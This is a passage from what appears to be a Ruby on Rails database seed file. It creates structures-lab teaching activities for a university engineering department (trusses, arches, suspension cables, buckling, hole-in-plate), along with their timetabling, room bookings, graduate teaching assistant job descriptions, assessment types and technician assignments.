\"Trusses\", archived: false, in_drive: true, user_id: 4)\n at44 = ActivityTimetable.where(activity_id: a44.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at44.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a44.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/SXd4jp\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a44.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a44.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a44.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a44.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a45 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"207\").first_or_create!(name: \"Two-pinned Arch\",\n name_abrv: \"Arches\", archived: false, in_drive: true, user_id: 1)\n at45 = ActivityTimetable.where(activity_id: a45.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at45.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a45.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/SALrcj\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a45.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with arches.\",\n job_desc:\"In this lab, students investigate the behaviour of an elastic parabolic arch under uniformely distributed loading. Mid-span deflection is recorded using an analog transducer. Students will find the relationshipe between UDL and reaction force for which no bending moment is applied to the arch. The principle of superposition is applied to the mid-span deflection.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a45.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a45.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a45.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a46 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"208\").first_or_create!(name: \"Suspension Cable\",\n name_abrv: \"Cables\", archived: false, in_drive: true, user_id: 1)\n at46 = ActivityTimetable.where(activity_id: a46.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at46.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a46.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/Ggzi6e\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a46.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with suspension cables brideges and the cable-arch analogy.\",\n job_desc:\"In this lab, students test the ways in which a suspension cable responds to vertical loadings. They will determine the relationship between uniform load, reaction force and cable sag and they will investigate the cable-arch analogy.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a46.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a46.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a46.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a47 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"209\").first_or_create!(name: \"Deflection of a Beam\",\n name_abrv: \"Bending\", archived: false, in_drive: true, user_id: 3)\n at47 = ActivityTimetable.where(activity_id: a47.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at47.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a47.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/rPsrdF\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a47.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a47.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a47.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a47.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a48 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"210\").first_or_create!(name: \"Qualitative Analysis of Frames\",\n name_abrv: \"QA\", archived: false, in_drive: true, user_id: 2)\n at48 = ActivityTimetable.where(activity_id: a48.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a48.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/mibPtH\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a48.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of structural analysis. The ideal candidate should be familiar with the analysis of statically indeterminate portal frames.\",\n job_desc:\"In this lab, students will qualitative determine deflected shapes and bending moment diagrams of 2-dimensional elastic beams and portal frames structures as a result of external loading.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a48.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a48.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a48.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a49 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"210\").first_or_create!(name: \"Qualitative Analysis\",\n name_abrv: \"QA\", archived: false, in_drive: true, user_id: 2)\n at49 = ActivityTimetable.where(activity_id: a49.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a49.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/F1sv5m\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a49.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a49.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a49.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a49.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a50 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"211\").first_or_create!(name: \"Elastic Instability: Buckling\",\n name_abrv: \"EI - Buckling\", archived: false, in_drive: true, user_id: 4)\n at50 = ActivityTimetable.where(activity_id: a50.id).first_or_create!(duration: 120, kit_prep_time: 480, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at50.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a50.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/zpPBgp\",\n mole_pub_link: \"https://goo.gl/mP6s53\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a50.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a50.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a50.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a50.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a51 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"212\").first_or_create!(name: \"Plastic Collapse: Beams\",\n name_abrv: \"PC Beams\", archived: false, in_drive: true, user_id: 1)\n at51 = ActivityTimetable.where(activity_id: a51.id).first_or_create!(duration: 60, kit_prep_time: 210, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at51.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a51.id).first_or_create!(user_id: 5, g_drive_link: \"https://goo.gl/eaYC7o\",\n mole_pub_link: \"https://goo.gl/GT7qFG\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a51.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a51.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a51.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a51.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a52 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 2)\n at52 = ActivityTimetable.where(activity_id: a52.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a52.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a52.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a52.id).first_or_create!(assess_weight: nil, notes: \"post-lab MOLE quiz\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a52.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a52.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a53 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 5)\n at53 = ActivityTimetable.where(activity_id: a53.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at53.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a53.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a53.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses and strains and Mohr Circles.\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a53.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a53.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a53.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a55 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 3)\n at55 = ActivityTimetable.where(activity_id: a55.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a55.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/6xWwbb\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a55.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a55.id).first_or_create!(assess_weight: nil, notes: \"In-lab marking + post-lab MOLE quiz\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a55.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a55.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a56 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 3)\n at56 = ActivityTimetable.where(activity_id: a56.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a56.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a56.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a56.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a56.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a56.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a57 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"214\").first_or_create!(name: \"Elastic Instability: Buckling\",\n name_abrv: \"EI - GEE\", archived: false, in_drive: true, user_id: 1)\n at57 = ActivityTimetable.where(activity_id: a57.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a57.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/TEpnz3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a57.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a57.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a57.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a57.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a58 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"209\").first_or_create!(name: \"Deflection of a Beam\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at58 = ActivityTimetable.where(activity_id: a58.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at58.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a58.id).first_or_create!(user_id: 2, g_drive_link: \"https://goo.gl/NX44Rw\",\n mole_pub_link: \"https://goo.gl/qSTPbK\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a58.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a58.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a58.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a58.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a59 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"218\").first_or_create!(name: \"Normal and Shear Stress in a Beam\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at59 = ActivityTimetable.where(activity_id: a59.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a59.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a59.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a59.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a59.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a59.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a60 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"216\").first_or_create!(name: \"Elastic Instability: Frames\",\n name_abrv: \"EI - Frames\", archived: false, in_drive: true, user_id: 2)\n at60 = ActivityTimetable.where(activity_id: a60.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a60.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/jckoDt\",\n mole_pub_link: \"https://goo.gl/mKk8xz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a60.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a60.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a60.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a60.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a61 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"237\").first_or_create!(name: \"Elastic Instability: Frames\",\n name_abrv: \"EI - Frames\", archived: false, in_drive: true, user_id: 3)\n at61 = ActivityTimetable.where(activity_id: a61.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a61.id).first_or_create!(user_id: 3, g_drive_link: \"https://goo.gl/jckoDt\",\n mole_pub_link: \"https://goo.gl/mKk8xz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a61.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a61.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a61.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a61.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a62 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"238\").first_or_create!(name: \"Elastic Instability: Torsional Buckling and Tin Plates\",\n name_abrv: \"EI - Torsion\", archived: false, in_drive: true, user_id: 5)\n at62 = ActivityTimetable.where(activity_id: a62.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment & Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a62.id).first_or_create!(user_id: 2, g_drive_link: \"https://goo.gl/JSCoLz\",\n mole_pub_link: \"https://goo.gl/gTFMau\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a62.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a62.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a62.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a62.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a63 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"217\").first_or_create!(name: \"Elastic Instability: Torsional Buckling and Tin Plates\",\n name_abrv: \"EI - Torsion\", archived: false, in_drive: true, user_id: 3)\n at63 = ActivityTimetable.where(activity_id: a63.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment & Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a63.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/JSCoLz\",\n mole_pub_link: \"https://goo.gl/gTFMau\", resit_priority_id: 